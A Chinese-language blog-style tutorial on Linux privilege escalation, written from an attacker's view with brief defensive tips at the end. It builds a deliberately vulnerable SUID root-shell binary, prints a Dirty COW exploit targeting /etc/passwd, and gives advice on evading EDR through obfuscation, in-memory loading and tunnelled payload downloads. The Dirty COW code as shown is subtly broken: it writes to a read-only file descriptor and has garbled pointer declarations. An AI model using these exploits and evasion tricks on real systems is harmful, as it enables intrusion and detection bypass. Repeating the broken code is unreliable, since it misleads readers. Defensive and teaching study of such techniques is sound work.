一、从防御反推:攻击者如何突破权限墙?

在企业安全防护体系中,权限管理始终是重中之重。一个普通用户账户如果没有权限提升的可能性,那攻击者的操作空间将会受到极大的限制。然而,现实中权限提升漏洞频频出现,攻击者通过绕过权限边界,直接将系统玩弄于股掌之间。
有一次,我协助某企业进行渗透测试,他们的管理员信誓旦旦地表示:“我们的权限管理一定没问题,系统分区、RBAC策略都配置得很严密。”但在深入分析后,我发现了一个未修补的提权漏洞,直接夺取了目标服务器的最高权限。这次经历让我意识到,再强大的防御也难以避免因一个疏漏而被彻底击穿。
在这篇文章中,我将用攻击者的视角,分享深入挖掘权限提升漏洞的思路和方法,以及如何将这些漏洞转化为实际攻击能力。
---
二、提权的基础面板:理解常见攻击面
在开始提权之前,我们需要了解提权操作的主要攻击面。一般情况下,权限提升的攻击面可以分为以下几类:
- 操作系统内核漏洞
- 内核本身的漏洞,比如脏牛(Dirty COW)漏洞(CVE-2016-5195),允许攻击者获得 root 权限。
- 特权逃逸类漏洞(例如 Linux 的
CVE-2022-0847 Dirty Pipe)。
- 错误配置
- 文件权限配置错误:某些关键文件或服务的权限被错误设置为可读写。
- SUID 程序:有 SUID 权限的程序被误配置,允许普通用户执行特权操作。

- 第三方软件漏洞
- 一些服务或应用程序存在提权漏洞,比如 MySQL 数据库利用 UDF(用户自定义函数)实现提权。
- Web 应用程序中的文件上传和代码执行漏洞可能导致提升权限。
- 凭据泄露
- 服务端或配置文件中硬编码的明文凭据。
- 用户意外暴露的 SSH 私钥或密码。
- 社会工程攻击
- 通过钓鱼邮件诱骗管理员执行恶意代码,也可能获得系统的较高权限。
理解这些攻击面后,我们就可以根据目标系统的实际情况,有的放矢地选择提权策略。
---
三、SUID 提权的实战演示:从 misconfig 到 root
SUID 是最常见的提权攻击面之一。Linux 系统中,一个设置了 SUID 位的文件可以以文件所有者的权限运行。如果某些 SUID 程序存在漏洞或被误配置,那将成为攻击者的突破口。
让我们假设一个场景:目标服务器中有一个配置错误的 SUID 程序 /usr/local/bin/vulnerable_app。我们可以利用它实现提权。
环境搭建
- 在本地搭建一个 Ubuntu 服务器(推荐 18.04 或 20.04)。
- 创建一个普通用户:
- 创建一个 SUID 程序并误配置:
<pre><code class="language-bash"> useradd -m attacker && passwd attacker su - attacker `
`c // vulnerable_app.c
include <stdio.h>
include <stdlib.h>
int main() { system("/bin/bash"); return 0; } ` 编译后将其权限设置为 4755: `bash gcc -o /usr/local/bin/vulnerable_app vulnerable_app.c chmod 4755 /usr/local/bin/vulnerable_app `
攻击过程
作为普通用户,我们尝试利用这个 SUID 程序:</code></pre>bash attacker@victim:~$ /usr/local/bin/vulnerable_app
id
uid=0(root) gid=1000(attacker) <pre><code> 简单一句 /bin/bash 就成功获得了 root 权限。原因在于,SUID 程序继承了文件所有者的权限,而程序中直接调用了 system(),导致了权限提升。这种场景在旧系统和运维疏漏中非常常见。
---
四、脏牛漏洞重现:经典内核提权案例
脏牛(Dirty COW)漏洞是 Linux 内核中的一处竞争条件漏洞(CVE-2016-5195),允许本地用户通过写时复制(Copy-on-Write, COW)机制修改只读内存,进而提权为 root。
攻击原理
Linux 内核在实现写时复制时,未能正确处理写保护,导致攻击者可以通过多线程竞争写入只读内存页面。这种竞争条件可以用来篡改系统文件(比如 /etc/passwd),实现权限提升。
POC 代码实现
以下是一个简化版的脏牛漏洞利用代码: </code></pre>c
include <fcntl.h>
include <pthread.h>
include <stdio.h>
include <string.h>
include <unistd.h>
void madviseThread(void arg) { char addr = (char )arg; for (int i = 0; i < 1000000; i++) { madvise(addr, 100, MADV_DONTNEED); } return NULL; }
int main() { char filename = "/etc/passwd"; char payload[] = "root::0:0:root:/root:/bin/bash\n"; char addr; int fd;
fd = open(filename, O_RDONLY); addr = mmap(NULL, 100, PROT_READ, MAP_PRIVATE, fd, 0);
pthread_t pth; pthread_create(&pth, NULL, madviseThread, addr);
for (int i = 0; i < 1000000; i++) { write(fd, payload, strlen(payload)); }
pthread_join(pth, NULL); printf("Finished.\n"); return 0; } `
使用方法
- 编译代码:
- 执行脚本:
- 运行后,目标系统的
/etc/passwd文件将被篡改,创建一个无密码的 root 用户。
`bash gcc -pthread dirtycow.c -o dirtycow `
`bash ./dirtycow `
---
五、提权的艺术:绕过防御与免杀技巧
在真实环境中,提权操作绝不仅仅是运行一个漏洞脚本那么简单。大多数企业已经部署了 EDR(端点检测与响应)或防病毒软件,它们会对可疑行为或已知 Exploit 代码进行拦截。以下是一些常用的绕过技巧:
- 代码混淆
- 使用工具如
obfuscator-llvm或者手动对 Exploit 代码进行混淆,改变已知特征。
- 改写 payload
- 比如在脏牛的利用代码中,动态生成
payload内容并进行加密,避免被检测为恶意行为。
- 内存加载
- 将 Exploit 代码写入内存中执行,而不是直接运行二进制文件(例如 PowerShell 的
Invoke-Mimikatz)。
- 流量伪装
- 如果提权操作需要远程下载 payload,建议通过 HTTPS 或 DNS 隧道加密流量。

---
六、提权后的思考:攻防两端的平衡
每次成功提权后,我都会反思攻击链中哪些步骤最容易被防御者发现。以下是一些防御建议:
- 最小化权限:确保只有需要的用户和服务能够访问关键资源。
- 定期扫描 SUID 程序:使用
find / -perm -4000定期检查 SUID 程序。 - 内核及时更新:漏洞如 Dirty COW 和 Dirty Pipe 都依赖于旧内核,及时更新可以避免这些问题。
从攻击者的视角来看,权限提升的核心在于找到系统的薄弱点,而防守者的任务是不断缩小这些薄弱点的存在范围。
---
七、个人总结
提权是渗透测试中最有挑战性也是最有趣的部分之一。从信息收集开始,所有的目标分析最终都汇聚到一点:找到突破权限边界的方法。希望通过本文的深入剖析,能让你对提权技术有更深的理解。当然,也要记住——技术本身没有好坏之分,关键在于使用它的目的。